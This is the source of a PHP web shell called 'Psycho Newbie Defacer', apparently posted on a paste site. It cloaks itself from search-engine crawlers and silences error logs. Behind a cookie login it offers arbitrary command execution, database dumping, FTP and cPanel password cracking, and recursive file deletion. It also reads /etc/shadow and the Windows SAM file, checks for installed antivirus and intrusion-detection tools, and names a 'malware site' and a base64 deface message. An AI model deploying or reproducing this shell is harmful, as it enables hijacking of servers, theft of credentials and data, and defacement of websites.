· 9 years ago · Sep 02, 2017, 06:26 AM
1<?php
2//========================================//
3//========+++Psycho+++==========//
4//========================================//
5//====+++Psycho+++===//
6//========================================//
7//=====+++Newbie Defacer+++=====//
8//========================================//
9//====2 September 2017====//
10
11// Set Username & Password
12$user = "Psycho";
13$pass = "root";
14
15$malsite = "http://fightagent.ru"; // Malware Site
16
17$ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // "Deface Page" Base64 encoded "You Just Got Hacked !!"
18
19@set_magic_quotes_runtime(0);
20@ini_set('error_log',NULL);
21@ini_set('log_errors',0);
22ob_start();
23error_reporting(0);
24@set_time_limit(0);
25@ini_set('max_execution_time',0);
26@ini_set('output_buffering',0);
27
28if(!empty($_SERVER['HTTP_USER_AGENT']))
29{
30 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
31 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
32 header('HTTP/1.0 404 Not Found');
33 exit; }
34}
35// Dump Database
36if($_GET["action"] == "dumpDB")
37{
38 $self=$_SERVER["PHP_SELF"];
39 if(isset($_COOKIE['dbserver']))
40 {
41 $date = date("Y-m-d");
42 $dbserver = $_COOKIE["dbserver"];
43 $dbuser = $_COOKIE["dbuser"];
44 $dbpass = $_COOKIE["dbpass"];
45 $dbname = $_GET['dbname'];
46 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
47
48 $file = "Dump-$dbname-$date";
49
50 $file="Dump-$dbname-$date.sql";
51 $fp = fopen($file,"w");
52
53 function write($data)
54 {
55 global $fp;
56
57 fwrite($fp,$data);
58
59 }
60 mysql_connect ($dbserver, $dbuser, $dbpass);
61 mysql_select_db($dbname);
62 $tables = mysql_query ("SHOW TABLES");
63 while ($i = mysql_fetch_array($tables))
64 {
65 $i = $i['Tables_in_'.$dbname];
66 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
67 write($create['Create Table'].";");
68 $sql = mysql_query ("SELECT * FROM ".$i);
69 if (mysql_num_rows($sql)) {
70 while ($row = mysql_fetch_row($sql)) {
71 foreach ($row as $j => $k) {
72 $row[$j] = "'".mysql_escape_string($k)."'";
73 }
74 write("INSERT INTO $i VALUES(".implode(",", $row).");");
75 }
76 }
77 }
78
79 fclose ($fp);
80
81 header("Content-Disposition: attachment; filename=" . $file);
82 header("Content-Type: application/download");
83 header("Content-Length: " . filesize($file));
84 flush();
85
86 $fp = fopen($file, "r");
87 while (!feof($fp))
88 {
89 echo fread($fp, 65536);
90 flush();
91 }
92 fclose($fp);
93 }
94}
95function shellstyle()
96{
97 echo "<style type=\"text/css\">
98<!--
99
100body,td,th {
101 color: #FF0000;
102 font-size: 14px;
103}
104a:link {
105 color: #00FF00;
106 text-decoration:none;
107 font-weight:500;
108}
109a:hover {
110 color:#00FF00;
111 text-decoration:underline;
112}
113font.txt
114{
115 color: #00FF00;
116 text-decoration:none;
117 font-size:14px;
118}
119font.mainmenu
120{
121 color:#FF0000;
122 text-decoration:none;
123 font-size:14px;
124}
125a:visited {
126 color: #006600;
127}
128input.box
129{
130 background-color:#0C0C0C;
131 color: lime;
132 border : 1px solid #1B1B1B;
133 -moz-border-radius:6px;
134 width:400;
135 border-radius:6px;
136}
137input.sbox
138{
139 background-color:#0C0C0C;
140 color: lime;
141 border : 1px solid #1B1B1B;
142 -moz-border-radius:6px;
143 width:180;
144 border-radius:6px;
145}
146select.sbox
147{
148 background-color:#0C0C0C;
149 color: lime;
150 border : 1px solid #1B1B1B;
151 -moz-border-radius:6px;
152 width:180;
153 border-radius:6px;
154}
155select.box
156{
157 background-color:#0C0C0C;
158 color: lime;
159 border : 1px solid #1B1B1B;
160 -moz-border-radius:6px;
161 width:400;
162 border-radius:6px;
163}
164
165textarea.box
166{
167 border : 3px solid #111;
168 background-color:#161616;
169 color : lime;
170 margin-top: 10px;
171 -moz-border-radius:7px;
172 border-radius:7px;
173}
174body {
175 background: url('https://scontent-sit4-1.xx.fbcdn.net/v/t1.0-9/20031863_327279401059424_8413095579065114676_n.jpg?oh=7741b738ec03b716b20ed799b68cae91&oe=5A1FD45A'), #000000;
176 background-repeat: no-repeat;
177 background-attachment: fixed;
178 background-position: right;
179}
180}
181.myphp table
182{
183 width:100%;
184 padding:18px 10px;
185 border : 1px solid #1B1B1B;
186}
187.myphp td
188{
189 background:#111111;
190 color:#00ff00;
191 padding:6px 8px;
192 border-bottom:1px solid #222222;
193 font-size:14px;
194}
195.myphp th, th
196{
197 background:#181818;
198
199}
200.button {
201 background-color: #4CAF50; /* Green */
202 border: none;
203 color: white;
204 padding: 5px 10px;
205 text-align: center;
206 text-decoration: none;
207 display: inline-block;
208 font-size: 16px;
209 margin: 4px 2px;
210 -webkit-transition-duration: 0.4s; /* Safari */
211 transition-duration: 0.4s;
212 cursor: pointer;
213}
214
215.button3 {
216 background-color: black;
217 color: red;
218 border: 2px solid #f44336;
219}
220
221.button3:hover {
222 background-color: #f44336;
223 color: black;
224}
225-->
226</style>";
227}
228if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($pass))
229{
230 $self=$_SERVER["PHP_SELF"];
231 $os = "N/D";
232 $bdmessage = null;
233 $dir = getcwd();
234
235 if(stristr(php_uname(),"Windows"))
236 {
237 $SEPARATOR = '\\';
238 $os = "Windows";
239 $directorysperator="\\";
240 }
241 else if(stristr(php_uname(),"Linux"))
242 {
243 $os = "Linux";
244 $directorysperator='/';
245 }
246 function Trail($d,$directsperator)
247 {
248 $d=explode($directsperator,$d);
249 array_pop($d);
250 array_pop($d);
251 $str=implode($d,$directsperator);
252 return $str;
253 }
254
255 function ftp_check($host,$user,$pass,$timeout)
256 {
257 $ch = curl_init();
258 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
259 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
260 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
261 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
262 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
263 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
264 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
265 $data = curl_exec($ch);
266 if ( curl_errno($ch) == 28 )
267 {
268 print "<center><b>
269 Error : Connection Timeout.
270 Please Check The Target Hostname .</b></center>";exit;
271 }
272 else if ( curl_errno($ch) == 0 )
273 {
274 print "<center><b>[~]</b><font class=txt>
275 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
276 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
277 }
278 curl_close($ch);
279 }
280
281 function cpanel_check($host,$user,$pass,$timeout)
282 {
283 global $cpanel_port;
284 $ch = curl_init();
285 curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
286 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
287 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
288 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
289 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
290 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
291 $data = curl_exec($ch);
292 if ( curl_errno($ch) == 28 )
293 { print "<center><b>Error : Connection Timeout.
294 Please Check The Target Hostname.</b></center>";exit;}
295 else if ( curl_errno($ch) == 0 ){
296 print "<ecnter><b>[~]</b><font class=txt><b>
297
298 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
299 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
300 }
301 curl_close($ch);
302 }
303
304 // Database functions
305 function listdatabase()
306 {
307 $self=$_SERVER["PHP_SELF"];
308 ?>
309 <br>
310 <form>
311 <table>
312 <tr>
313 <td><input type="text" class="box" name="dbname"></td>
314 <td><input type="button" onClick="viewtables('createDB',dbname.value)" value=" Create Database " class="but"></td>
315 </tr>
316 </table>
317 </form>
318 <br>
319 <?php
320 $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
321 $result = mysql_query("SHOW DATABASE");
322 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
323
324 $pDB = mysql_list_dbs( $mysqlHandle );
325 $num = mysql_num_rows( $pDB );
326 for( $i = 0; $i < $num; $i++ )
327 {
328 $dbname = mysql_dbname( $pDB, $i );
329 mysql_select_db($dbname,$mysqlHandle);
330 $result = mysql_query("SHOW TABLES");
331 $num_of_tables = mysql_num_rows($result);
332 echo "<tr>\n";
333 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\"><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
334 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\">Tables</a></td>\n";
335 echo "<td><a href=# onClick=\"viewtables('dropDB','$dbname')\">Drop</a></td>\n";
336 echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
337 echo "</tr>\n";
338 }
339 echo "</table>\n";
340 mysql_close($mysqlHandle);
341 }
342
343 function listtable()
344 {
345 $self=$_SERVER["PHP_SELF"];
346 $dbserver = $_COOKIE["dbserver"];
347 $dbuser = $_COOKIE["dbuser"];
348 $dbpass = $_COOKIE["dbpass"];
349 $dbname = $_GET['dbname'];
350 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
351 ?>
352 <br><br>
353 <form>
354 <table>
355
356 <tr>
357 <td><input type="text" class="box" name="tablename"></td>
358 <td><input type="button" onClick="viewtables('createtable','<?php echo $_GET['dbname'];?>')" value=" Create Table " name="createmydb" class="but"></td>
359 </tr>
360 </table>
361
362 <br>
363 <form>
364 <table>
365 <tr>
366 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
367 </tr>
368 <tr>
369 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
370 </tr>
371 </table>
372 </form>
373
374 <?php
375
376 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
377
378 mysql_select_db($dbname);
379 $pTable = mysql_list_tables( $dbname );
380
381 if( $pTable == 0 ) {
382 $msg = mysql_error();
383 echo "<h3>Error : $msg</h3><p>\n";
384 return;
385 }
386 $num = mysql_num_rows( $pTable );
387
388 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
389
390 for( $i = 0; $i < $num; $i++ )
391 {
392 $tablename = mysql_tablename( $pTable, $i );
393 $result = mysql_query("select * from $tablename");
394 $num_rows = mysql_num_rows($result);
395 echo "<tr>\n";
396 echo "<td>\n";
397 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\"><font size=3>$tablename</font></a> ($num_rows)\n";
398 echo "</td>\n";
399 echo "<td>\n";
400 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\">Schema</a>\n";
401 echo "</td>\n";
402 echo "<td>\n";
403 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\">Data</a>\n";
404 echo "</td>\n";
405 echo "<td>\n";
406 echo "<a href=# onClick=\"viewtables('empty','$dbname','$tablename')\">Empty</a>\n";
407 echo "</td>\n";
408 echo "<td>\n";
409 echo "<a href=# onClick=\"viewtables('dropTable','$dbname','$tablename')\">Drop</a>\n";
410 echo "</td>\n";
411 echo "</tr>\n";
412 }
413
414 echo "</table></form>";
415 mysql_close($mysqlHandle);
416 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
417 }
418
419
420 function paramexe($n, $v)
421 {
422 $v = trim($v);
423 if($v)
424 {
425 echo '<span><font size=3>' . $n . ': </font></span>';
426 if(strpos($v, "\n") === false)
427 echo '<font size=2>' . $v . '</font><br>';
428 else
429 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
430 }
431 }
432
433
434
435 function rrmdir($dir)
436 {
437 if (is_dir($dir)) // ensures that we actually have a directory
438 {
439 $objects = scandir($dir); // gets all files and folders inside
440 foreach ($objects as $object)
441 {
442 if ($object != '.' && $object != '..')
443 {
444 if (is_dir($dir . '/' . $object))
445 {
446 // if we find a directory, do a recursive call
447 rrmdir($dir . '/' . $object);
448 }
449 else
450 {
451 // if we find a file, simply delete it
452 unlink($dir . '/' . $object);
453 }
454 }
455 }
456 // the original directory is now empty, so delete it
457 rmdir($dir);
458 }
459 }
460
461 function which($pr)
462 {
463 $path = execmd("which $pr");
464 if(!empty($path))
465 return trim($path);
466 else
467 return trim($pr);
468 }
469
470 function magicboom($text)
471 {
472 if (!get_magic_quotes_gpc())
473 return $text;
474 return stripslashes($text);
475 }
476
477function execmd($cmd,$d_functions="None")
478{
479 if($d_functions=="None")
480 {
481 $ret=passthru($cmd);
482 return $ret;
483 }
484 $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
485 $d_functions=str_replace(" ","",$d_functions);
486 $dis_funcs=explode(",",$d_functions);
487 foreach($funcs as $safe)
488 {
489 if(!in_array($safe,$dis_funcs))
490 {
491 if($safe=="exec")
492 {
493 $ret=@exec($cmd);
494 $ret=join("\n",$ret);
495 return $ret;
496 }
497 elseif($safe=="system")
498 {
499 $ret=@system($cmd);
500 return $ret;
501 }
502 elseif($safe=="passthru")
503 {
504 $ret=@passthru($cmd);
505 return $ret;
506 }
507 elseif($safe=="shell_exec")
508 {
509 $ret=@shell_exec($cmd);
510 return $ret;
511 }
512 elseif($safe=="popen")
513 {
514 $ret=@popen("$cmd",'r');
515 if(is_resource($ret))
516 {
517 while(@!feof($ret))
518 $read.=@fgets($ret);
519 @pclose($ret);
520 return $read;
521 }
522 return -1;
523 }
524 elseif($safe="proc_open")
525 {
526 $cmdpipe=array(
527 0=>array('pipe','r'),
528 1=>array('pipe','w')
529 );
530 $resource=@proc_open($cmd,$cmdpipe,$pipes);
531 if(@is_resource($resource))
532 {
533 while(@!feof($pipes[1]))
534 $ret.=@fgets($pipes[1]);
535 @fclose($pipes[1]);
536 @proc_close($resource);
537 return $ret;
538 }
539 return -1;
540 }
541 }
542 }
543 return -1;
544}
545
546 function getDisabledFunctions()
547 {
548 if(!ini_get('disable_functions'))
549 {
550 return "None";
551 }
552 else
553 {
554 return @ini_get('disable_functions');
555 }
556 }
557
558 function getFilePermissions($file)
559 {
560 $perms = fileperms($file);
561
562 if (($perms & 0xC000) == 0xC000) {
563 // Socket
564 $info = 's';
565 } elseif (($perms & 0xA000) == 0xA000) {
566 // Symbolic Link
567 $info = 'l';
568 } elseif (($perms & 0x8000) == 0x8000) {
569 // Regular
570 $info = '-';
571 } elseif (($perms & 0x6000) == 0x6000) {
572 // Block special
573 $info = 'b';
574 } elseif (($perms & 0x4000) == 0x4000) {
575 // Directory
576 $info = 'd';
577 } elseif (($perms & 0x2000) == 0x2000) {
578 // Character special
579 $info = 'c';
580 } elseif (($perms & 0x1000) == 0x1000) {
581 // FIFO pipe
582 $info = 'p';
583 } else {
584 // Unknown
585 $info = 'u';
586 }
587
588 // Owner
589 $info .= (($perms & 0x0100) ? 'r' : '-');
590 $info .= (($perms & 0x0080) ? 'w' : '-');
591 $info .= (($perms & 0x0040) ?
592 (($perms & 0x0800) ? 's' : 'x' ) :
593 (($perms & 0x0800) ? 'S' : '-'));
594
595 // Group
596 $info .= (($perms & 0x0020) ? 'r' : '-');
597 $info .= (($perms & 0x0010) ? 'w' : '-');
598 $info .= (($perms & 0x0008) ?
599 (($perms & 0x0400) ? 's' : 'x' ) :
600 (($perms & 0x0400) ? 'S' : '-'));
601
602 // World
603 $info .= (($perms & 0x0004) ? 'r' : '-');
604 $info .= (($perms & 0x0002) ? 'w' : '-');
605 $info .= (($perms & 0x0001) ?
606 (($perms & 0x0200) ? 't' : 'x' ) :
607 (($perms & 0x0200) ? 'T' : '-'));
608
609 return $info;
610}
611 function filepermscolor($filename)
612 {
613 if(!@is_readable($filename))
614 return "<font color=\"#FF0000\">".getFilePermissions($filename)."</font>";
615 else if(!@is_writable($filename))
616 return "<font color=\"#FFFFFF\">".getFilePermissions($filename)."</font>";
617 else
618 return "<font color=\"#00FF00\">".getFilePermissions($filename)."</font>";
619 }
620
621 function yourip()
622 {
623 echo $_SERVER["REMOTE_ADDR"];
624 }
625 function phpver()
626 {
627 $pv=@phpversion();
628 echo $pv;
629 }
630 function magic_quote()
631 {
632 echo get_magic_quotes_gpc()?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
633 }
634 function serverip()
635 {
636 echo getenv('SERVER_ADDR');
637 }
638 function serverport()
639 {
640 echo $_SERVER['SERVER_PORT'];
641 }
642 function safe()
643 {
644 global $sm;
645 return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
646 }
647 function serveradmin()
648 {
649 echo $_SERVER['SERVER_ADMIN'];
650 }
651 function systeminfo()
652 {
653 echo php_uname();
654 }
655 function curlinfo()
656 {
657 echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
658 }
659 function oracleinfo()
660 {
661 echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
662 }
663 function mysqlinfo()
664 {
665 echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
666 }
667 function mssqlinfo()
668 {
669 echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
670 }
671 function postgresqlinfo()
672 {
673 echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
674 }
675 function softwareinfo()
676 {
677 echo getenv("SERVER_SOFTWARE");
678 }
679 function download()
680 {
681 $frd=$_GET['download'];
682 $prd=explode("/",$frd);
683 for($i=0;$i<sizeof($prd);$i++)
684 {
685 $nfd=$prd[$i];
686 }
687 @ob_clean();
688 header("Content-type: application/octet-stream");
689 header("Content-length: ".filesize($nfd));
690 header("Content-disposition: attachment; filename=\"".$nfd."\";");
691 readfile($nfd);
692
693 exit;
694
695 }
696
697 function HumanReadableFilesize($size)
698 {
699 $mod = 1024;
700 $units = explode(' ','B KB MB GB TB PB');
701 for ($i = 0; $size > $mod; $i++)
702 {
703 $size /= $mod;
704 }
705 return round($size, 2) . ' ' . $units[$i];
706 }
707
708 function showDrives()
709 {
710 global $self;
711 foreach(range('A','Z') as $drive)
712 {
713 if(is_dir($drive.':\\'))
714 {
715 $myd = $drive.":\\";
716 ?>
717 <a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($myd); ?>')">
718 <?php echo $myd; ?>
719 </a>
720 <?php
721 }
722 }
723 }
724 function diskSpace()
725 {
726 return disk_total_space("/");
727 }
728 function freeSpace()
729 {
730 return disk_free_space("/");
731 }
732
733 function thiscmd($p)
734 {
735 $path = myexe('which ' . $p);
736 if(!empty($path))
737 return $path;
738 return false;
739 }
740
741 function mysecinfo()
742 {
743 function myparam($n, $v)
744 {
745 $v = trim($v);
746 if($v)
747 {
748 echo '<span><font color =red size=3>' . $n . ': </font></span>';
749 if(strpos($v, "\n") === false)
750 echo '<font color =lime size=3>' . $v . '</font><br>';
751 else
752 echo '<pre class=ml1><font color =lime size=3>' . $v . '</font></pre>';
753 }
754 }
755
756 myparam('Server software', @getenv('SERVER_SOFTWARE'));
757 if(function_exists('apache_get_modules'))
758 myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
759 myparam('Open base dir', @ini_get('open_basedir'));
760 myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
761 myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
762 $temp=array();
763 if(function_exists('mysql_get_client_info'))
764 $temp[] = "MySql (".mysql_get_client_info().")";
765 if(function_exists('mssql_connect'))
766 $temp[] = "MSSQL";
767 if(function_exists('pg_connect'))
768 $temp[] = "PostgreSQL";
769 if(function_exists('oci_connect'))
770 $temp[] = "Oracle";
771 myparam('Supported databases', implode(', ', $temp));
772 echo '<br>';
773
774 if($GLOBALS['os'] == 'Linux') {
775 myparam('Distro : ', myexe("cat /etc/*-release"));
776 myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href=javascript:void(0) onClick=\"getmydata('passwd')\">[view]</a>":'no');
777 myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href=javascript:void(0) onClick=\"getmydata('shadow')\">[view]</a>":'no');
778 myparam('OS version', @file_get_contents('/proc/version'));
779 myparam('Distr name', @file_get_contents('/etc/issue.net'));
780 myparam('Where is Perl?', myexe('whereis perl'));
781 myparam('Where is Python?', myexe('whereis python'));
782 myparam('Where is gcc?', myexe('whereis gcc'));
783 myparam('Where is apache?', myexe('whereis apache'));
784 myparam('CPU?', myexe('cat /proc/cpuinfo'));
785 myparam('RAM', myexe('free -m'));
786 myparam('Mount options', myexe('cat /etc/fstab'));
787 myparam('User Limits', myexe('ulimit -a'));
788
789
790 if(!$GLOBALS['safe_mode']) {
791 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
792 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
793 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
794 echo '<br>';
795 $temp=array();
796 foreach ($userful as $item)
797 if(thiscmd($item))
798 $temp[] = $item;
799 myparam('Userful', implode(', ',$temp));
800 $temp=array();
801 foreach ($danger as $item)
802 if(thiscmd($item))
803 $temp[] = $item;
804 myparam('Danger', implode(', ',$temp));
805 $temp=array();
806 foreach ($downloaders as $item)
807 if(thiscmd($item))
808 $temp[] = $item;
809 myparam('Downloaders', implode(', ',$temp));
810 echo '<br/>';
811 myparam('HDD space', myexe('df -h'));
812 myparam('Hosts', @file_get_contents('/etc/hosts'));
813
814 }
815 } else {
816 $repairsam = addslashes($_SERVER["WINDIR"]."\\repair\\sam");
817 $hostpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\hosts");
818 $netpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\\networks");
819 $sampath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\lmhosts.sam");
820 echo "<font size=3>Password File : </font><a href=".$_SERVER['PHP_SELF']."?download=" . $repairsam ."><b><font class=txt size=3>Download password file</font></b></a><br>";
821 echo "<font size=3>Config Files : </font><a href=javascript:void(0) onClick=\"fileaction('open','$hostpath')\"><b><font class=txt size=3>[ Hosts ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$netpath')\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$sampath')\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>";
822 $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
823 echo "<font size=3>Open Base Dir : </font><font class=txt size=3>" . $base . "</font><br>";
824 myparam('OS Version',myexe('ver'));
825 myparam('Account Settings',myexe('net accounts'));
826 myparam('User Accounts',myexe('net user'));
827 }
828 echo '</div>';
829 }
830
831
832
833 function myexe($in)
834 {
835 $out = '';
836 if (function_exists('exec')) {
837 @exec($in,$out);
838 $out = @join("\n",$out);
839 } elseif (function_exists('passthru')) {
840 ob_start();
841 @passthru($in);
842 $out = ob_get_clean();
843 } elseif (function_exists('system')) {
844 ob_start();
845 @system($in);
846 $out = ob_get_clean();
847 } elseif (function_exists('shell_exec')) {
848 $out = shell_exec($in);
849 } elseif (is_resource($f = @popen($in,"r"))) {
850 $out = "";
851 while(!@feof($f))
852 $out .= fread($f,1024);
853 pclose($f);
854 }
855 return $out;
856}
857
858 function exec_all($command)
859 {
860
861 $output = '';
862 if(function_exists('exec'))
863 {
864 exec($command,$output);
865 $output = join("\n",$output);
866 }
867
868 else if(function_exists('shell_exec'))
869 {
870 $output = shell_exec($command);
871 }
872
873 else if(function_exists('popen'))
874 {
875 $handle = popen($command , "r"); // Open the command pipe for reading
876 if(is_resource($handle))
877 {
878 if(function_exists('fread') && function_exists('feof'))
879 {
880 while(!feof($handle))
881 {
882 $output .= fread($handle, 512);
883 }
884 }
885 else if(function_exists('fgets') && function_exists('feof'))
886 {
887 while(!feof($handle))
888 {
889 $output .= fgets($handle,512);
890 }
891
892
893
894 }
895 }
896 pclose($handle);
897 }
898
899
900 else if(function_exists('system'))
901 {
902 ob_start(); //start output buffering
903 system($command);
904 $output = ob_get_contents(); // Get the ouput
905 ob_end_clean(); // Stop output buffering
906 }
907
908 else if(function_exists('passthru'))
909 {
910 ob_start(); //start output buffering
911 passthru($command);
912 $output = ob_get_contents(); // Get the ouput
913 ob_end_clean(); // Stop output buffering
914 }
915
916 else if(function_exists('proc_open'))
917 {
918 $descriptorspec = array(
919 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
920 );
921 $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
922 if(is_resource($handle))
923 {
924 if(function_exists('fread') && function_exists('feof'))
925 {
926 while(!feof($pipes[1]))
927 {
928 $output .= fread($pipes[1], 512);
929 }
930 }
931 else if(function_exists('fgets') && function_exists('feof'))
932 {
933 while(!feof($pipes[1]))
934 {
935 $output .= fgets($pipes[1],512);
936 }
937 }
938 }
939 pclose($handle);
940 }
941
942 return(htmlspecialchars($output));
943
944}
945
946$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
947$etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
948
949function getOGid($value)
950{
951 if(!function_exists('posix_getegid')) {
952 $user = @get_current_user();
953 $uid = @getmyuid();
954 $gid = @getmygid();
955 $group = "?";
956 $owner = $uid . "/". $gid;
957 return $owner;
958 } else {
959 $name=@posix_getpwuid(@fileowner($value));
960 $group=@posix_getgrgid(@filegroup($value));
961 $owner = $name['name']. " / ". $group['name'];
962 return $owner;
963 }
964}
965
966function mainfun($dir)
967{
968 global $ind, $directorysperator,$os;
969
970 $mydir = basename(dirname(__FILE__));
971 $pdir = str_replace($mydir,"",$dir);
972 $pdir = str_replace("/","",$dir);
973
974 $files = array();
975 $dirs = array();
976
977 $odir=opendir($dir);
978 while($file = readdir($odir))
979 {
980 if(is_dir($dir.'/'.$file))
981 {
982 $dirs[]=$file;
983 }
984 else
985 {
986 $files[]=$file;
987 }
988 }
989 $countfiles = count($dirs) + count($files);
990 $dircount = count($dirs);
991 $dircount = $dircount-2;
992 $myfiles = array_merge($dirs,$files);
993 $i = 0;
994 if(is_dir($dir))
995 {
996 if(scandir($dir) === false)
997 echo "<center><font size=3>Directory isn't readable</font></center>";
998 else
999 {
1000?><form method="post" id="myform" name="myform">
1001 <table id="maintable" style="width:100%;" align="center" cellpadding="3">
1002 <tr><td colspan="7"><center><div id="showmydata"></div></center></td></tr>
1003 <tr style="background-color:#0C0C0C;"><td colspan="8" align="center"><font size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</td>
1004 <tr style="background-color:#0C0C0C; height:12px;">
1005 <th>Name</th>
1006 <th>Size</th>
1007 <th>Permissions</th>
1008 <?php if($os != "Windows"){ echo "<th>Owner / Group</th>"; } ?>
1009 <th>Modification Date</th>
1010 <th>Rename</th>
1011 <th>Download</th>
1012 <th style="width:2%;">Action</th>
1013 </tr>
1014 <?php
1015 foreach($myfiles as $val)
1016 {
1017 $vv = addslashes($dir . $directorysperator . $val);
1018 $i++;
1019
1020 if($val == ".")
1021 {
1022
1023 ?><tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($dir); ?>')"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
1024 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir); ?></a></td>
1025
1026 <?php if($os != 'Windows')
1027 {
1028 echo "<td align=center><font size=2>";
1029 echo getOGid($dir)."</font></td>";
1030 }
1031 ?>
1032
1033 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($vv)); ?></font></td>
1034 <td></td><td></td><td></td></</tr><?php
1035
1036 }
1037 else if($val == "..")
1038 {
1039 $val = Trail($dir . $directorysperator . $val,$directorysperator);
1040 $vv = addslashes($val);
1041 if(empty($vv))
1042 $vv = "/"; ?>
1043 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
1044 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($val); ?></a></td>
1045 <?php if($os != 'Windows')
1046 {
1047 echo "<td align=center><font size=2>";
1048 echo getOGid($val)."</font></td>";
1049
1050 } ?>
